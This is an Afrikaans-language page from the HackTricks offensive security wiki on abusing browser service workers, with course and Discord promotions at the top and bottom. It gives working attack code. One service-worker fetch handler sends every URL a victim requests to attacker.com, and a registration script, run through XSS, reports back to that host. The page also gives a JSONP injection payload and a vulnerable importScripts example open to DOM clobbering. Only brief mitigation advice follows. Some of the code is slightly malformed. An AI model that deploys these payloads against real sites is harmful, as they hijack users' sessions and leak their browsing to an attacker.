8.3 KiB
Misbruik van Dienswerkers
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
- Werk jy by 'n cybersekuriteitsmaatskappy? Wil jy jou maatskappy geadverteer sien in HackTricks? of wil jy toegang hê tot die nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat? Kyk na die INSKRYWINGSPLANNE!
- Ontdek Die PEASS-familie, ons versameling eksklusiewe NFT's
- Kry die amptelike PEASS & HackTricks swag
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg my op Twitter 🐦@carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die hacktricks-opslag en hacktricks-cloud-opslag.
Probeer Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
Basiese Inligting
'n Dienswerker is 'n skrip wat deur jou blaaier in die agtergrond uitgevoer word, afsonderlik van enige webbladsy, wat funksies moontlik maak wat nie 'n webbladsy of gebruikerinteraksie benodig nie, en sodoende aflyn- en agtergrondverwerking-vermoëns verbeter. Gedetailleerde inligting oor dienswerkers is beskikbaar hier. Deur dienswerkers binne 'n kwesbare webdomein te misbruik, kan aanvallers beheer verkry oor die slagoffers se interaksies met alle bladsye binne daardie domein.
Kontroleer vir Bestaande Dienswerkers
Bestaande dienswerkers kan nagegaan word in die Dienswerkers-afdeling van die Aansoek-tabblad in die Ontwikkelaarhulpmiddels. 'n Ander metode is om chrome://serviceworker-internals te besoek vir 'n meer gedetailleerde aansig.
Duw Kennisgewings
Duw kennisgewings-toestemmings het direk 'n impak op 'n dienswerker se vermoë om met die bediener te kommunikeer sonder direkte gebruikerinteraksie. As toestemmings ontken word, beperk dit die dienswerker se potensiaal om 'n voortdurende bedreiging te vorm. Daarteenoor verhoog die toekenning van toestemmings die veiligheidsrisiko deur die ontvangs en uitvoering van potensiële aanvalle moontlik te maak.
Aanval deur 'n Dienswerker te Skep
Om hierdie kwesbaarheid uit te buit, moet jy vind:
- 'n manier om willekeurige JS-lêers na die bediener te laai en 'n XSS om die dienswerker van die gelaai JS-lêer te laai
- 'n kwesbare JSONP-versoek waar jy die uitset kan manipuleer (met willekeurige JS-kode) en 'n XSS om die JSONP met 'n lading te laai wat 'n skadelike dienswerker sal laai.
In die volgende voorbeeld gaan ek 'n kode voorstel om 'n nuwe dienswerker te registreer wat na die fetch
-gebeurtenis sal luister en sal elke opgehaalde URL na die aanvallers se bediener stuur (dit is die kode wat jy nodig het om na die bediener te laai of te laai via 'n kwesbare JSONP-antwoord):
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
En hierdie is die kode wat die werker sal registreer (die kode wat jy moet kan uitvoer deur 'n XSS te misbruik). In hierdie geval sal 'n GET versoek gestuur word na die aanvallers bediener om te meld of die registrasie van die dienswerker suksesvol was of nie:
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>
In geval van misbruik van 'n kwesbare JSONP-eindpunt moet jy die waarde binne var sw
plaas. Byvoorbeeld:
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
Daar is 'n C2 toegewy aan die uitbuiting van Dienswerkers genaamd Shadow Workers wat baie nuttig sal wees om hierdie kwesbaarhede te misbruik.
Die 24-uur cache riglyn beperk die leeftyd van 'n skadelike of gekompromitteerde dienswerker (SW) tot hoogstens 24 uur na 'n XSS kwesbaarheidsherstel, mits die kliënt aanlyn is. Om die kwesbaarheid te verminder, kan webwerf-operateurs die SW-skrips se Tyd-Tot-Leef (TTL) verlaag. Ontwikkelaars word ook aangeraai om 'n dienswerker-kill-schakelaar te skep vir vinnige deaktivering.
Misbruik van importScripts
in 'n SW via DOM Clobbering
Die funksie importScripts
wat vanaf 'n Dienswerker geroep word, kan 'n skrips van 'n ander domein importe. As hierdie funksie geroep word met 'n parameter wat 'n aanvaller sou kon wysig, sou hy in staat wees om 'n JS-skrips van sy domein te importe en XSS te kry.
Dit verbygaan selfs CSP-beskerming.
Voorbeeld van kwesbare kode:
- index.html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
- sw.js
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
Met DOM Clobbering
Vir meer inligting oor wat DOM Clobbering is, kyk:
{% content-ref url="dom-clobbering.md" %} dom-clobbering.md {% endcontent-ref %}
As die URL/domein waar die SW gebruik om importScripts
te roep binne 'n HTML-element is, is dit moontlik om dit te wysig deur middel van DOM Clobbering om die SW 'n skrip van jou eie domein te laat laai.
Vir 'n voorbeeld hiervan, kyk na die verwysingskakel.
Verwysings
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
- Werk jy in 'n cybersekuriteitsmaatskappy? Wil jy jou maatskappy geadverteer sien in HackTricks? of wil jy toegang hê tot die nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat? Kyk na die INSKRYWINGSPLANNE!
- Ontdek Die PEASS-familie, ons versameling eksklusiewe NFT's
- Kry die amptelike PEASS & HackTricks swag
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg my op Twitter 🐦@carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die hacktricks-opslag en hacktricks-cloud-opslag.